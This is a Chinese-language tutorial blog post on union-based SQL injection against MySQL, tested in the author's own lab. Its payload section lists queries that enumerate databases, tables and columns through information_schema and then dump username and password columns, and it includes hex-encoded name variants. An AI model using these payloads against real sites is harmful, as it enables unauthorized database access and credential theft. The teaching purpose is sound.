sql注入之联合注入

声明:本文章只用于技术交流,若有用于其他用途导致不可逆的后果,本人概不负责; 本次交流所用数据库为自己搭建的环境。

一、什么是联合注入

        因为mysql查询语句中有联合查询这个功能(union 这个函数), 所以在进行sql注入的时候,利用 union 这个函数进行sql语句的拼接, 查询到我们想要的结果。

        条件: 网页上具有sql语句查询回显。

        

        1、联合查询(展示)

        

 

2、联合注入(展示)

 

 

其中 1,2,3 为我们想要查询的结果, 为什么为 select 1,2,3 因为 users 表只有三个字段。

id = -1 是因为我们不想要第一条查询语句的结果。

3、子语句查询

为什么要讲子语句查询呢?因为要用的到。

子语句查询: 在进行查询语句时,当作查询语句的 判断条件 或者作为 回显。

听不懂看下图 (查询当前数据库用户),select user() 为子语句查询。

4、payload

        列出所有数据库:

        

        limit 一个一个打印出来库名
                select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

        group_concat 一次性全部显示
                select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
        
        只演示这一条

        

 

 列出(数据库:test)中所有的表:

             limit 一个一个打印出来字段名
                select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='test' limit 0,1

            group_concat 一次性全部显示
                select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='test'

列出(数据库:test 表:admin )中所有的字段:

        limit 一个一个打印出来
               select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='test' and TABLE_NAME='t10' limit 0,1
        
        group_concat 一次性全部显示
                select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

把 test 换成十六进制也可以查询  t10 也同理

列出(数据库:test 表:admin )中所有的字段内容:     

        limit 一个一个打印出来
                select username,passwd from test.admin limit 0,1

        group_concat 把 一次性全部打印
                select group_concat(concat(username,0x20,passwd)) from test.admin

谢谢各位看官老爷

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值